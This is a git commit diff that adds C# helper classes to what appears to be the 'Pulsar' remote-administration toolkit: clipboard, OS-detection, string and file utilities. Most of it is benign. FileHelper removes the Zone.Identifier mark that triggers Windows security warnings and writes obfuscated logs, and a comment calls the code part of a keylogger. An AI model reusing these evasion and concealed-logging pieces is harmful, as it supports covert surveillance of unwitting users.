initial commit
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Common.Helpers
|
||||
{
|
||||
public static class ClipboardHelper
|
||||
{
|
||||
public static void SetClipboardTextSafe(string text)
|
||||
{
|
||||
try
|
||||
{
|
||||
Clipboard.SetText(text);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,228 @@
|
||||
using Pulsar.Common.Cryptography;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Common.Helpers
|
||||
{
|
||||
public static class FileHelper
|
||||
{
|
||||
private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
|
||||
|
||||
public static bool HasIllegalCharacters(string path)
|
||||
{
|
||||
return path.Any(c => IllegalPathChars.Contains(c));
|
||||
}
|
||||
|
||||
public static string GetRandomFilename(int length, string extension = "")
|
||||
{
|
||||
return string.Concat(StringHelper.GetRandomString(length), extension);
|
||||
}
|
||||
|
||||
public static string GetTempFilePath(string extension = "")
|
||||
{
|
||||
string tempFilePath;
|
||||
do
|
||||
{
|
||||
tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
|
||||
} while (File.Exists(tempFilePath));
|
||||
|
||||
return tempFilePath;
|
||||
}
|
||||
|
||||
public static bool HasExecutableIdentifier(byte[] binary)
|
||||
{
|
||||
if (binary.Length < 2) return false;
|
||||
return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M');
|
||||
}
|
||||
|
||||
public static bool DeleteZoneIdentifier(string filePath)
|
||||
{
|
||||
return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
|
||||
}
|
||||
|
||||
public static void WriteLogFile(string filename, string appendText, Aes256 aes)
|
||||
{
|
||||
appendText = ReadLogFile(filename, aes) + appendText;
|
||||
|
||||
using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
|
||||
{
|
||||
byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
|
||||
fStream.Write(data, 0, data.Length);
|
||||
fStream.Flush(true);
|
||||
}
|
||||
}
|
||||
|
||||
public static string ReadLogFile(string filename, Aes256 aes)
|
||||
{
|
||||
return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Append obfuscated (and compressed) text in temp/log files safely using framed chunks.
|
||||
/// Each write: [4-byte length][obfuscated bytes].
|
||||
/// The plain text is compressed with GZip before obfuscation to save disk space.
|
||||
/// </summary>
|
||||
public static void WriteObfuscatedLogFile(string filename, string appendText)
|
||||
{
|
||||
if (string.IsNullOrEmpty(filename)) throw new ArgumentNullException(nameof(filename));
|
||||
if (appendText == null) appendText = string.Empty;
|
||||
|
||||
byte[] plainBytes = Encoding.UTF8.GetBytes(appendText);
|
||||
|
||||
// Compress plaintext first to save space (backwards-compatible: readers will detect gzip)
|
||||
byte[] compressed = CompressGzip(plainBytes);
|
||||
|
||||
// Obfuscate the compressed bytes
|
||||
byte[] obfBytes = ByteRotationObfuscator.Obfuscate(compressed);
|
||||
|
||||
string dir = Path.GetDirectoryName(filename);
|
||||
if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
|
||||
Directory.CreateDirectory(dir);
|
||||
|
||||
try
|
||||
{
|
||||
using (var fs = File.Open(filename, FileMode.Append, FileAccess.Write, FileShare.Read))
|
||||
using (var bw = new BinaryWriter(fs, Encoding.UTF8))
|
||||
{
|
||||
bw.Write(obfBytes.Length); // 4-byte length prefix
|
||||
bw.Write(obfBytes); // obfuscated (compressed) chunk
|
||||
bw.Flush();
|
||||
fs.Flush(true);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// silently ignore append errors to avoid crashing keylogger
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Read obfuscated log file with support for framed chunks and automatic gzip decompression.
|
||||
/// Falls back to legacy single-block deobfuscation if framed read fails.
|
||||
/// </summary>
|
||||
public static string ReadObfuscatedLogFile(string filename)
|
||||
{
|
||||
if (string.IsNullOrEmpty(filename) || !File.Exists(filename))
|
||||
return string.Empty;
|
||||
|
||||
try
|
||||
{
|
||||
byte[] allBytes = File.ReadAllBytes(filename);
|
||||
if (allBytes.Length == 0) return string.Empty;
|
||||
|
||||
using (var ms = new MemoryStream(allBytes))
|
||||
using (var br = new BinaryReader(ms, Encoding.UTF8))
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
bool framed = true;
|
||||
|
||||
while (ms.Position < ms.Length)
|
||||
{
|
||||
if (ms.Length - ms.Position < 4)
|
||||
{
|
||||
framed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
int len = br.ReadInt32();
|
||||
if (len < 0 || len > ms.Length - ms.Position)
|
||||
{
|
||||
framed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
byte[] chunk = br.ReadBytes(len);
|
||||
if (chunk == null || chunk.Length == 0)
|
||||
continue;
|
||||
|
||||
// Deobfuscate chunk first
|
||||
byte[] deob = ByteRotationObfuscator.Deobfuscate(chunk);
|
||||
|
||||
// Try to detect gzip via magic bytes and decompress to raw bytes
|
||||
try
|
||||
{
|
||||
if (deob.Length >= 2 && deob[0] == 0x1F && deob[1] == 0x8B)
|
||||
{
|
||||
byte[] decompressedBytes = DecompressGzipToBytes(deob);
|
||||
sb.Append(Encoding.UTF8.GetString(decompressedBytes));
|
||||
}
|
||||
else
|
||||
{
|
||||
// Not compressed — interpret directly as UTF8
|
||||
sb.Append(Encoding.UTF8.GetString(deob));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// On any failure, try to at least interpret deob as UTF8 to avoid losing text
|
||||
try { sb.Append(Encoding.UTF8.GetString(deob)); } catch { /* ignore */ }
|
||||
}
|
||||
}
|
||||
|
||||
if (framed) return sb.ToString();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// ignore and fallback
|
||||
}
|
||||
|
||||
// fallback to legacy single-block deobfuscation (file previously written without framing or compression)
|
||||
try
|
||||
{
|
||||
byte[] obfAll = File.ReadAllBytes(filename);
|
||||
byte[] deobAll = ByteRotationObfuscator.Deobfuscate(obfAll);
|
||||
|
||||
// If deobAll appears to be gzip compressed, decompress
|
||||
if (deobAll.Length >= 2 && deobAll[0] == 0x1F && deobAll[1] == 0x8B)
|
||||
{
|
||||
byte[] decompressed = DecompressGzipToBytes(deobAll);
|
||||
return Encoding.UTF8.GetString(decompressed);
|
||||
}
|
||||
|
||||
return Encoding.UTF8.GetString(deobAll);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] DecompressGzipToBytes(byte[] compressed)
|
||||
{
|
||||
using (var input = new MemoryStream(compressed))
|
||||
using (var gzip = new System.IO.Compression.GZipStream(input, System.IO.Compression.CompressionMode.Decompress))
|
||||
using (var output = new MemoryStream())
|
||||
{
|
||||
gzip.CopyTo(output);
|
||||
return output.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static byte[] CompressGzip(byte[] data)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var output = new MemoryStream())
|
||||
{
|
||||
using (var gzip = new GZipStream(output, CompressionLevel.Optimal, leaveOpen: true))
|
||||
{
|
||||
gzip.Write(data, 0, data.Length);
|
||||
}
|
||||
// Reset position to read full compressed array
|
||||
output.Position = 0;
|
||||
return output.ToArray();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// if compression fails, return original data to avoid data loss
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
using System;
|
||||
using System.Management;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Pulsar.Common.Helpers
|
||||
{
|
||||
public static class PlatformHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes the <see cref="PlatformHelper"/> class.
|
||||
/// </summary>
|
||||
static PlatformHelper()
|
||||
{
|
||||
Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT;
|
||||
SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1));
|
||||
EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200));
|
||||
EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3));
|
||||
TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0));
|
||||
ElevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0) && Environment.OSVersion.Version.Build >= 22000);
|
||||
|
||||
Name = GetOSNameFromEnvironment();
|
||||
|
||||
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
|
||||
Is64Bit = Environment.Is64BitOperatingSystem;
|
||||
FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the full name of the operating system running on this computer (including the edition and architecture).
|
||||
/// </summary>
|
||||
public static string FullName { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the operating system running on this computer (including the edition).
|
||||
/// </summary>
|
||||
public static string Name { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether the Operating System is 32 or 64-bit.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is 64-bit, otherwise <c>false</c> for 32-bit.
|
||||
/// </value>
|
||||
public static bool Is64Bit { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a indicating whether the Operating System is Windows 32 NT based.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 32 NT based; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool Win32NT { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 7 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 7 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool SevenOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 8 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 8 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool EightOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 8.1 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 8.1 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool EightPointOneOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 10 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 10 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool TenOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 11 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 11 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool ElevenOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the OS name from environment variables and registry as fallback for WMI.
|
||||
/// </summary>
|
||||
private static string GetOSNameFromEnvironment()
|
||||
{
|
||||
try
|
||||
{
|
||||
// Try to get from registry first (more reliable than WMI)
|
||||
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
var productName = key.GetValue("ProductName")?.ToString();
|
||||
var currentBuild = key.GetValue("CurrentBuild")?.ToString();
|
||||
var displayVersion = key.GetValue("DisplayVersion")?.ToString();
|
||||
var ubr = key.GetValue("UBR")?.ToString(); // Update Build Revision
|
||||
|
||||
if (!string.IsNullOrEmpty(productName))
|
||||
{
|
||||
// Fix Windows 11 detection - registry might still report "Windows 10" in some cases
|
||||
if (productName.Contains("Windows 10"))
|
||||
{
|
||||
// Check if this is actually Windows 11
|
||||
if (int.TryParse(currentBuild, out int buildNumber) && buildNumber >= 22000)
|
||||
{
|
||||
return "Windows 11" + (string.IsNullOrEmpty(displayVersion) ? "" : " " + displayVersion);
|
||||
}
|
||||
}
|
||||
|
||||
// Handle Windows 11 that's properly reported in registry
|
||||
if (productName.Contains("Windows 11"))
|
||||
{
|
||||
return productName;
|
||||
}
|
||||
|
||||
return productName;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback to Environment.OSVersion with proper Windows 11 detection
|
||||
var version = Environment.OSVersion;
|
||||
if (version.Platform == PlatformID.Win32NT)
|
||||
{
|
||||
// Windows 11 has build number 22000 or higher
|
||||
if (version.Version.Major == 10 && version.Version.Minor == 0)
|
||||
{
|
||||
return version.Version.Build >= 22000 ? "Windows 11" : "Windows 10";
|
||||
}
|
||||
else if (version.Version.Major == 6)
|
||||
{
|
||||
if (version.Version.Minor == 3) return "Windows 8.1";
|
||||
if (version.Version.Minor == 2) return "Windows 8";
|
||||
if (version.Version.Minor == 1) return "Windows 7";
|
||||
if (version.Version.Minor == 0) return "Windows Vista";
|
||||
}
|
||||
else if (version.Version.Major == 5)
|
||||
{
|
||||
if (version.Version.Minor == 2) return "Windows XP Professional x64 Edition";
|
||||
if (version.Version.Minor == 1) return "Windows XP";
|
||||
if (version.Version.Minor == 0) return "Windows 2000";
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Ignore errors
|
||||
}
|
||||
|
||||
return "Unknown OS";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using Pulsar.Common.Utilities;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Pulsar.Common.Helpers
|
||||
{
|
||||
public static class StringHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Available alphabet for generation of random strings.
|
||||
/// </summary>
|
||||
private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
|
||||
/// <summary>
|
||||
/// Abbreviations of file sizes.
|
||||
/// </summary>
|
||||
private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" };
|
||||
|
||||
/// <summary>
|
||||
/// Random number generator.
|
||||
/// </summary>
|
||||
private static readonly SafeRandom Random = new SafeRandom();
|
||||
|
||||
/// <summary>
|
||||
/// Gets a random string with given length.
|
||||
/// </summary>
|
||||
/// <param name="length">The length of the random string.</param>
|
||||
/// <returns>A random string.</returns>
|
||||
public static string GetRandomString(int length)
|
||||
{
|
||||
StringBuilder randomName = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++)
|
||||
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
|
||||
|
||||
return randomName.ToString();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the human readable file size for a given size.
|
||||
/// </summary>
|
||||
/// <param name="size">The file size in bytes.</param>
|
||||
/// <returns>The human readable file size.</returns>
|
||||
public static string GetHumanReadableFileSize(long size)
|
||||
{
|
||||
double len = size;
|
||||
int order = 0;
|
||||
while (len >= 1024 && order + 1 < Sizes.Length)
|
||||
{
|
||||
order++;
|
||||
len = len / 1024;
|
||||
}
|
||||
return $"{len:0.##} {Sizes[order]}";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the formatted MAC address.
|
||||
/// </summary>
|
||||
/// <param name="macAddress">The unformatted MAC address.</param>
|
||||
/// <returns>The formatted MAC address.</returns>
|
||||
public static string GetFormattedMacAddress(string macAddress)
|
||||
{
|
||||
return (macAddress.Length != 12)
|
||||
? "00:00:00:00:00:00"
|
||||
: Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Safely removes the last N chars from a string.
|
||||
/// </summary>
|
||||
/// <param name="input">The input string.</param>
|
||||
/// <param name="amount">The amount of last chars to remove (=N).</param>
|
||||
/// <returns>The input string with N removed chars.</returns>
|
||||
public static string RemoveLastChars(string input, int amount = 2)
|
||||
{
|
||||
if (input.Length > amount)
|
||||
input = input.Remove(input.Length - amount);
|
||||
return input;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user